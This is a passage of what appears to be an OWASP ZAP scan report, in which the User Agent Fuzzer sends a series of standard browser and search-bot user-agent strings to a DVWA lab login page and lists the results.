Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/dvwa/images
Method	GET

Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST

Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://192.168.0.192/dvwa/login.php
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
Instances	60
Solution	
Reference	https://owasp.org/wstg
CWE Id	
WASC Id	
Plugin Id	10104